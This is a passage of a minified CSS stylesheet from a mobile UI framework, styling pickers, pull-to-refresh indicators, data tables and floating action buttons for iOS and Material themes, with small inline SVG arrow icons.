.picker-center-highlight:after{background-color:rgba(255,255,255,.15)}.infinite-scroll-preloader{margin-left:auto;margin-right:auto;text-align:center}.infinite-scroll-preloader.preloader{display:block}.ios .infinite-scroll-preloader{margin-top:35px;margin-bottom:35px}.ios .infinite-scroll-preloader .preloader,.ios .infinite-scroll-preloader.preloader{width:27px;height:27px}.md .infinite-scroll-preloader{margin-top:32px;margin-bottom:32px}.ptr-preloader .preloader{position:absolute;left:50%}.ios .ptr-preloader{position:relative;height:44px;margin-top:-44px;width:100%;left:0;top:0}.ios .ptr-preloader .preloader{width:27px;height:27px;margin-left:-13px;margin-top:-13px;visibility:hidden;top:50%}.ios .ptr-arrow{position:absolute;left:50%;top:50%;background:no-repeat center;z-index:10;-webkit-transform:rotate(0) translate3d(0,0,0);transform:rotate(0) translate3d(0,0,0);-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;width:13px;height:20px;margin-left:-6px;margin-top:-10px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2026%2040'%3E%3Cpolygon%20points%3D'9%2C22%209%2C0%2017%2C0%2017%2C22%2026%2C22%2013.5%2C40%200%2C22'%20fill%3D'%238c8c8c'%2F%3E%3C%2Fsvg%3E");background-size:13px 20px;visibility:visible}.ios .ptr-content:not(.ptr-refreshing) .ptr-preloader .preloader{-webkit-animation:none;animation:none}.ios .ptr-refreshing,.ios .ptr-transitioning{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.ios .ptr-refreshing{-webkit-transform:translate3d(0,44px,0);transform:translate3d(0,44px,0)}.ios .ptr-refreshing .ptr-arrow{visibility:hidden}.ios .ptr-refreshing .ptr-preloader .preloader{visibility:visible}.ios .ptr-pull-up .ptr-arrow{-webkit-transform:rotate(180deg) translate3d(0,0,0);transform:rotate(180deg) translate3d(0,0,0)}.ios .ptr-no-navbar{margin-top:-44px;height:calc(100% + 44px)}.ios .ptr-no-navbar .ptr-preloader{margin-top:0}.md .ptr-preloader{position:absolute;left:50%;top:16px;width:40px;height:40px;border-radius:50%;background:#fff;margin-left:-20px;margin-top:-7px;z-index:100;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}@media (min-width:768px){.md .ptr-preloader{top:24px}}.md .ptr-preloader .preloader{width:22px;height:22px;margin-left:-11px;margin-top:-11px;top:50%;visibility:hidden}.md .ptr-preloader .preloader .preloader-inner-gap,.md .ptr-preloader .preloader .preloader-inner-half-circle{border-width:3px}.md .ptr-arrow{width:22px;height:22px;-webkit-box-sizing:border-box;box-sizing:border-box;border:3px solid #757575;position:absolute;left:50%;top:50%;margin-left:-11px;margin-top:-11px;border-left-color:transparent;border-radius:50%;opacity:1;-webkit-transform:rotate(150deg);transform:rotate(150deg)}.md .ptr-arrow:after{content:'';width:0;height:0;position:absolute;left:-5px;bottom:0;border-bottom-width:6px;border-bottom-style:solid;border-bottom-color:inherit;border-left:5px solid transparent;border-right:5px solid transparent;-webkit-transform:rotate(-40deg);transform:rotate(-40deg)}.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader,.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader *{-webkit-animation:none;animation:none}.md .ptr-pull-up .ptr-preloader .preloader,.md .ptr-refreshing .ptr-preloader .preloader{visibility:visible}.md .ptr-pull-up .ptr-arrow,.md .ptr-refreshing .ptr-arrow{visibility:hidden}.md .ptr-refreshing .ptr-preloader{-webkit-transform:translate3d(0,66px,0);transform:translate3d(0,66px,0)}.md .ptr-transitioning .ptr-arrow{-webkit-transition:.3s;transition:.3s}.md .ptr-pull-up .ptr-arrow{-webkit-transition:.4s;transition:.4s;-webkit-transform:rotate(620deg)!important;transform:rotate(620deg)!important;opacity:0}.md .ptr-refreshing .ptr-preloader,.md .ptr-transitioning .ptr-preloader{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.md .ptr-no-navbar .ptr-preloader{top:auto;bottom:100%;margin-bottom:7px}.md .page-with-subnavbar .ptr-preloader,.md .searchbar~.ptr-content .ptr-preloader,.md .toolbar:not(.toolbar-bottom-md)~.ptr-content .ptr-preloader{top:64px}@media (min-width:768px){.md .page-with-subnavbar .ptr-preloader,.md .searchbar~.ptr-content .ptr-preloader,.md .toolbar:not(.toolbar-bottom-md)~.ptr-content .ptr-preloader{top:72px}}.lazy-loaded.lazy-fade-in{-webkit-animation:lazyFadeIn .6s;animation:lazyFadeIn .6s}@-webkit-keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}@keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}.data-table{overflow-x:auto}.data-table table{width:100%;border:none;padding:0;margin:0;border-collapse:collapse;text-align:right}.data-table thead{font-size:12px}.data-table thead td,.data-table thead th{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;line-height:16px}.data-table thead i.f7-icons,.data-table thead i.icon,.data-table thead i.material-icons{vertical-align:top}.data-table td,.data-table th{padding:0;position:relative}.data-table td.numeric-cell,.data-table th.numeric-cell{text-align:left}.data-table td.checkbox-cell,.data-table th.checkbox-cell{overflow:visible}.data-table td.checkbox-cell label+span,.data-table th.checkbox-cell label+span{margin-right:8px}.data-table td.actions-cell,.data-table th.actions-cell{text-align:left;white-space:nowrap}.card .data-table td a.icon-only,.card .data-table th a.icon-only,.card.data-table td a.icon-only,.card.data-table th a.icon-only,.data-table td a.icon-only,.data-table th a.icon-only{display:inline-block;vertical-align:middle;text-align:center;font-size:0;min-width:0}.card .data-table td a.icon-only i,.card .data-table th a.icon-only i,.card.data-table td a.icon-only i,.card.data-table th a.icon-only i,.data-table td a.icon-only i,.data-table th a.icon-only i{font-size:18px;vertical-align:middle}.data-table .sortable-cell:not(.input-cell){cursor:pointer;position:relative}.data-table .sortable-cell.input-cell .table-head-label{cursor:pointer;position:relative}.data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.data-table .sortable-cell.numeric-cell:not(.input-cell):before,.data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{content:'';display:inline-block;vertical-align:top;width:16px;height:16px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E");background-size:100% auto;background-position:center;background-repeat:no-repeat;font-size:0;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:rotate(0);transform:rotate(0);opacity:0}html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before{opacity:.54}.data-table .sortable-cell.sortable-cell-active .table-head-label:after,.data-table .sortable-cell.sortable-cell-active .table-head-label:before,.data-table .sortable-cell.sortable-cell-active:after,.data-table .sortable-cell.sortable-cell-active:before{opacity:.87!important}.data-table .sortable-cell.sortable-desc:after,.data-table .sortable-cell.sortable-desc:before,.data-table .table-head-label:after,.data-table .table-head-label:before{-webkit-transform:rotate(180deg)!important;transform:rotate(180deg)!important}.card .data-table .card-header,.data-table.card .card-header{height:64px}.card .data-table .card-content,.data-table.card .card-content{overflow-x:auto}.data-table .data-table-actions,.data-table .data-table-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-actions{margin-right:auto;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.data-table .data-table-actions a.link{min-width:0}.data-table .data-table-actions a.link.icon-only{line-height:1;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0}.data-table .data-table-header,.data-table .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:100%}.data-table .data-table-header-selected{display:none}.data-table.data-table-has-checked .data-table-header{display:none}.data-table.data-table-has-checked .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-title-selected{font-size:14px}.data-table .data-table-footer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:12px;overflow:hidden;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.data-table .data-table-pagination,.data-table .data-table-rows-select{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}@media (max-width:480px) and (orientation:portrait){.data-table.data-table-collapsible thead{display:none}.data-table.data-table-collapsible tbody,.data-table.data-table-collapsible td,.data-table.data-table-collapsible tr{display:block}.data-table.data-table-collapsible tr{position:relative}.data-table.data-table-collapsible tr:hover{background-color:inherit}.data-table.data-table-collapsible td{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;text-align:right}.data-table.data-table-collapsible td:before{display:none!important}.data-table.data-table-collapsible td:not(.checkbox-cell):before{width:40%;display:block!important;content:attr(data-collapsible-title);position:relative;height:auto;background:0 0!important;-webkit-transform:none!important;transform:none!important;font-size:12px;margin-left:16px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.data-table.data-table-collapsible td.checkbox-cell{position:absolute;top:0;right:0}.data-table.data-table-collapsible td.checkbox-cell+td{padding-right:16px}.data-table.data-table-collapsible td.checkbox-cell~td{margin-right:32px}}.data-table .tablet-landscape-only,.data-table .tablet-only{display:none}@media (min-width:768px){.data-table .tablet-only{display:table-cell}}@media (min-width:768px) and (orientation:landscape){.data-table .tablet-landscape-only{display:table-cell}}.theme-dark .data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before,.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E")}.ios .data-table thead td,.ios .data-table thead th{font-weight:600}.ios .data-table thead td:not(.sortable-cell-active),.ios .data-table thead th:not(.sortable-cell-active){color:#8e8e93}.ios .data-table thead i.f7-icons,.ios .data-table thead i.icon{font-size:18px;width:18px;height:18px}.ios .data-table tbody tr.data-table-row-selected{background:#f7f7f8}.ios .data-table td,.ios .data-table th{padding-left:15px;padding-right:15px;height:44px}.ios .data-table td.checkbox-cell,.ios .data-table th.checkbox-cell{width:22px;padding-left:7px}.ios .data-table td.checkbox-cell+td,.ios .data-table td.checkbox-cell+th,.ios .data-table th.checkbox-cell+td,.ios .data-table th.checkbox-cell+th{padding-right:8px}.ios .data-table td.actions-cell a.link+a.link,.ios .data-table th.actions-cell a.link+a.link{margin-right:15px}.ios .data-table td.actions-cell a.icon-only,.ios .data-table th.actions-cell a.icon-only{width:18px;height:18px;line-height:18px}.ios .sortable-cell:not(.numeric-cell):after{margin-right:5px}.ios .sortable-cell.numeric-cell:before{margin-left:5px}.ios .card .data-table .card-footer,.ios .card .data-table .card-header,.ios .data-table.card .card-footer,.ios .data-table.card .card-header{padding-right:15px;padding-left:8px}.ios .data-table-title{font-size:17px;font-weight:600}.ios .data-table-actions a.link+a.link,.ios .data-table-links a.link+a.link{margin-right:15px}.ios .data-table-actions a.link.icon-only{width:44px;height:44px}.ios .data-table-actions i.f7-icons,.ios .data-table-actions i.icon{font-size:22px}.ios .data-table .card-header>.data-table-header,.ios .data-table .card-header>.data-table-header-selected{padding-top:10px;padding-bottom:10px;height:100%;padding-right:15px;padding-left:8px;margin-right:-15px;margin-left:-8px}.ios .data-table-header-selected{background:rgba(0,122,255,.1)}.ios .data-table-title-selected{color:#007aff}.ios .data-table tbody td:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table tbody td:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table tbody td:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios.device-desktop .data-table tbody tr:hover{background:#f7f7f8}.ios .data-table-footer{height:44px;color:#8e8e93}.ios .data-table-pagination a.link,.ios .data-table-rows-select a.link{width:44px;height:44px}.ios .data-table-rows-select+.data-table-pagination{margin-right:30px}.ios .data-table-rows-select .input{margin-right:20px}.ios .data-table-pagination-label{margin-left:15px}.ios .data-table-footer:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .input-cell{padding-top:8px;padding-bottom:8px;height:auto;vertical-align:top}.ios .input-cell .table-head-label+.input{margin-top:4px}.ios .input-cell .input{height:24px}.ios .input-cell .input input,.ios .input-cell .input select,.ios .input-cell .input textarea{height:24px;color:#000;font-size:14px}@media (max-width:480px) and (orientation:portrait){.ios .data-table.data-table-collapsible td:not(.checkbox-cell):before{color:#8e8e93;font-weight:600}.ios .data-table-collapsible tr:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table-collapsible tr:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table-collapsible tr:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}}.data-table.ios .theme-dark tbody td:before,.ios .theme-dark .data-table tbody td:before{background-color:#282829}.data-table.ios .theme-dark.data-table-collapsible tr:before,.ios .theme-dark .data-table.data-table-collapsible tr:before{background-color:#282829}.data-table.ios .theme-dark tbody tr.data-table-row-selected,.ios .theme-dark .data-table tbody tr.data-table-row-selected{background-color:#363636}.ios.device-desktop .theme-dark .data-table tbody tr:hover,.ios.device-desktop .theme-dark.data-table tbody tr:hover{background:#363636}.ios .color-theme-red .data-table-header-selected,.ios .data-table-header-selected.color-red{background:rgba(255,59,48,.1)}.ios .color-red .data-table-title-selected,.ios .color-theme-red .data-table-title-selected{color:#ff3b30}.ios .color-theme-green .data-table-header-selected,.ios .data-table-header-selected.color-green{background:rgba(76,217,100,.1)}.ios .color-green .data-table-title-selected,.ios .color-theme-green .data-table-title-selected{color:#4cd964}.ios .color-theme-blue .data-table-header-selected,.ios .data-table-header-selected.color-blue{background:rgba(0,122,255,.1)}.ios .color-blue .data-table-title-selected,.ios .color-theme-blue .data-table-title-selected{color:#007aff}.ios .color-theme-pink .data-table-header-selected,.ios .data-table-header-selected.color-pink{background:rgba(255,45,85,.1)}.ios .color-pink .data-table-title-selected,.ios .color-theme-pink .data-table-title-selected{color:#ff2d55}.ios .color-theme-yellow .data-table-header-selected,.ios .data-table-header-selected.color-yellow{background:rgba(255,204,0,.1)}.ios .color-theme-yellow .data-table-title-selected,.ios .color-yellow .data-table-title-selected{color:#fc0}.ios .color-theme-orange .data-table-header-selected,.ios .data-table-header-selected.color-orange{background:rgba(255,149,0,.1)}.ios .color-orange .data-table-title-selected,.ios .color-theme-orange .data-table-title-selected{color:#ff9500}.ios .color-theme-gray .data-table-header-selected,.ios .data-table-header-selected.color-gray{background:rgba(142,142,147,.1)}.ios .color-gray .data-table-title-selected,.ios .color-theme-gray .data-table-title-selected{color:#8e8e93}.ios .color-theme-white .data-table-header-selected,.ios .data-table-header-selected.color-white{background:rgba(255,255,255,.1)}.ios .color-theme-white .data-table-title-selected,.ios .color-white .data-table-title-selected{color:#fff}.ios .color-theme-black .data-table-header-selected,.ios .data-table-header-selected.color-black{background:rgba(0,0,0,.1)}.ios .color-black .data-table-title-selected,.ios .color-theme-black .data-table-title-selected{color:#000}.md .data-table thead td,.md .data-table thead th{font-weight:500;height:56px;-webkit-box-sizing:border-box;box-sizing:border-box}.md .data-table thead td:not(.sortable-cell-active),.md .data-table thead th:not(.sortable-cell-active){color:rgba(0,0,0,.54)}.md .data-table thead i.icon,.md .data-table thead i.material-icons{font-size:16px;width:16px;height:16px}.md .data-table tbody{font-size:13px}.md .data-table tbody tr.data-table-row-selected{background:#f5f5f5}.md .data-table tbody td{height:48px}.md .data-table td,.md .data-table th{padding-left:28px;padding-right:28px}.md .data-table td.label-cell,.md .data-table th.label-cell{padding-left:24px;padding-right:24px}.md .data-table td:first-child,.md .data-table th:first-child{padding-right:24px}.md .data-table td:last-child,.md .data-table th:last-child{padding-left:24px}.md .data-table td.checkbox-cell,.md .data-table th.checkbox-cell{width:18px;padding-right:24px;padding-left:12px}.md .data-table td.checkbox-cell+td,.md .data-table td.checkbox-cell+th,.md .data-table th.checkbox-cell+td,.md .data-table th.checkbox-cell+th{padding-right:12px}.md .data-table td.actions-cell a.link,.md .data-table th.actions-cell a.link{color:rgba(0,0,0,.54)}.md .data-table td.actions-cell a.link+a.link,.md .data-table th.actions-cell a.link+a.link{margin-right:24px}.md .data-table td.actions-cell a.icon-only,.md .data-table th.actions-cell a.icon-only{width:24px;height:24px;line-height:24px}.md .sortable-cell:not(.numeric-cell):after{margin-right:8px}.md .sortable-cell.numeric-cell:before{margin-left:8px}.md .card .data-table .card-footer,.md .card .data-table .card-header,.md .data-table.card .card-footer,.md .data-table.card .card-header{padding-right:24px;padding-left:14px}.md .card .data-table .card-footer,.md .data-table.card .card-footer{height:56px}.md .data-table-title{font-size:20px}.md .data-table-actions a.link+a.link,.md .data-table-links a.link+a.link{margin-right:24px}.md .data-table-actions a.link{color:rgba(0,0,0,.54)}.md .data-table-actions a.link.icon-only{width:24px;height:24px;overflow:visible}.md .data-table-actions a.link.icon-only.active-state{background:0 0}.md .data-table .card-header>.data-table-header,.md .data-table .card-header>.data-table-header-selected{padding-right:24px;padding-left:14px;margin-right:-24px;margin-left:-14px;padding-top:4px;padding-bottom:4px;height:100%}.md .data-table-header-selected{background:rgba(33,150,243,.1)}.md .data-table-title-selected{color:#2196f3}.md .data-table tbody td:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table tbody td:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table tbody td:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md.device-desktop .data-table tbody tr:hover{background:#f5f5f5}.md .data-table-footer{height:56px;color:rgba(0,0,0,.54)}.md .data-table-pagination a.link,.md .data-table-rows-select a.link{width:48px;height:48px}.md .data-table-pagination a.link:before,.md .data-table-rows-select a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .data-table-pagination a.link.active-state:before,.md .data-table-rows-select a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .data-table-rows-select+.data-table-pagination{margin-right:32px}.md .data-table-rows-select .input{margin-right:24px}.md .data-table-pagination-label{margin-left:20px}.md .data-table-footer:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .input-cell{padding-top:8px;padding-bottom:8px;height:auto;vertical-align:top}.md .input-cell .table-head-label+.input{margin-top:4px}.md .input-cell .input{height:24px}.md .input-cell .input input,.md .input-cell .input select,.md .input-cell .input textarea{height:24px;color:#212121;font-size:14px}.md .input-cell .input .input-clear-button{-webkit-transform:scale(.8);transform:scale(.8)}@media (max-width:480px) and (orientation:portrait){.md .data-table.data-table-collapsible td{padding-left:16px;padding-right:16px}.md .data-table.data-table-collapsible td:not(.checkbox-cell):before{color:rgba(0,0,0,.54);font-weight:500;line-height:16px}.md .data-table-collapsible tr:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table-collapsible tr:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table-collapsible tr:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}}.data-table.md .theme-dark .data-table-actions a.link,.data-table.md .theme-dark td.actions-cell a.link,.data-table.md .theme-dark th.actions-cell a.link,.data-table.md .theme-dark thead td:not(.sortable-cell-active),.data-table.md .theme-dark thead th:not(.sortable-cell-active),.md .theme-dark .data-table .data-table-actions a.link,.md .theme-dark .data-table td.actions-cell a.link,.md .theme-dark .data-table th.actions-cell a.link,.md .theme-dark .data-table thead td:not(.sortable-cell-active),.md .theme-dark .data-table thead th:not(.sortable-cell-active){color:rgba(255,255,255,.54)}.data-table.md .theme-dark .data-table-links a.link:before,.md .theme-dark .data-table .data-table-links a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.data-table.md .theme-dark .data-table-links a.link.active-state:before,.md .theme-dark .data-table .data-table-links a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.data-table.md .theme-dark tbody td:before,.md .theme-dark .data-table tbody td:before{background-color:rgba(255,255,255,.08)}.data-table.md .theme-dark.data-table-collapsible tr:before,.md .theme-dark .data-table.data-table-collapsible tr:before{background-color:rgba(255,255,255,.08)}.data-table.md .theme-dark tbody tr.data-table-row-selected,.md .theme-dark .data-table tbody tr.data-table-row-selected{background-color:rgba(255,255,255,.05)}.md.device-desktop .theme-dark .data-table tbody tr:hover,.md.device-desktop .theme-dark.data-table tbody tr:hover{background-color:rgba(255,255,255,.05)}.md .color-theme-red .data-table-header-selected,.md .data-table-header-selected.color-red{background:rgba(244,67,54,.1)}.md .color-red .data-table-title-selected,.md .color-theme-red .data-table-title-selected{color:#f44336}.md .color-theme-green .data-table-header-selected,.md .data-table-header-selected.color-green{background:rgba(76,175,80,.1)}.md .color-green .data-table-title-selected,.md .color-theme-green .data-table-title-selected{color:#4caf50}.md .color-theme-blue .data-table-header-selected,.md .data-table-header-selected.color-blue{background:rgba(33,150,243,.1)}.md .color-blue .data-table-title-selected,.md .color-theme-blue .data-table-title-selected{color:#2196f3}.md .color-theme-pink .data-table-header-selected,.md .data-table-header-selected.color-pink{background:rgba(233,30,99,.1)}.md .color-pink .data-table-title-selected,.md .color-theme-pink .data-table-title-selected{color:#e91e63}.md .color-theme-yellow .data-table-header-selected,.md .data-table-header-selected.color-yellow{background:rgba(255,235,59,.1)}.md .color-theme-yellow .data-table-title-selected,.md .color-yellow .data-table-title-selected{color:#ffeb3b}.md .color-theme-orange .data-table-header-selected,.md .data-table-header-selected.color-orange{background:rgba(255,152,0,.1)}.md .color-orange .data-table-title-selected,.md .color-theme-orange .data-table-title-selected{color:#ff9800}.md .color-theme-gray .data-table-header-selected,.md .data-table-header-selected.color-gray{background:rgba(158,158,158,.1)}.md .color-gray .data-table-title-selected,.md .color-theme-gray .data-table-title-selected{color:#9e9e9e}.md .color-theme-white .data-table-header-selected,.md .data-table-header-selected.color-white{background:rgba(255,255,255,.1)}.md .color-theme-white .data-table-title-selected,.md .color-white .data-table-title-selected{color:#fff}.md .color-theme-black .data-table-header-selected,.md .data-table-header-selected.color-black{background:rgba(0,0,0,.1)}.md .color-black .data-table-title-selected,.md .color-theme-black .data-table-title-selected{color:#000}.fab{position:absolute;z-index:1500}.fab-buttons a,.fab>a{position:relative;-webkit-transition-duration:.3s;transition-duration:.3s;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;overflow:hidden;z-index:1}.fab>a i{position:absolute;left:50%;top:50%;-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);-webkit-transition:.3s;transition:.3s}.fab>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);opacity:0}.fab[class*=fab-center]{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.fab[class*=left-center],.fab[class*=right-center]{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.fab[class*=center-center]{top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.fab div.fab-buttons a{width:40px;height:40px}.fab-buttons{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;visibility:hidden;pointer-events:none;position:absolute}.fab-buttons a{opacity:0}.fab-opened:not(.fab-morph)>a i{-webkit-transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);opacity:0}.fab-opened:not(.fab-morph)>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);opacity:1}.fab-opened .fab-buttons{visibility:visible;pointer-events:auto}.fab-opened .fab-buttons a{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1)!important;transform:translate3d(0,0,0) scale(1)!important}.fab-opened .fab-buttons a:nth-child(2){-webkit-transition-delay:50ms;transition-delay:50ms}.fab-opened .fab-buttons a:nth-child(3){-webkit-transition-delay:.1s;transition-delay:.1s}.fab-opened .fab-buttons a:nth-child(4){-webkit-transition-delay:150ms;transition-delay:150ms}.fab-opened .fab-buttons a:nth-child(5){-webkit-transition-delay:.2s;transition-delay:.2s}.fab-opened .fab-buttons a:nth-child(6){-webkit-transition-delay:250ms;transition-delay:250ms}.fab-buttons-bottom,.fab-buttons-top{left:50%;width:40px;margin-left:-20px}.fab-buttons-top{bottom:100%;margin-bottom:16px;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fab-buttons-top a{-webkit-transform:translate3d(0,8px,0) scale(.3);transform:translate3d(0,8px,0) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-top a+a{margin-bottom:16px}.fab-buttons-bottom{top:100%;margin-top:16px;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.fab-buttons-bottom a{-webkit-transform:translate3d(0,-8px,0) scale(.3);transform:translate3d(0,-8px,0) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-bottom 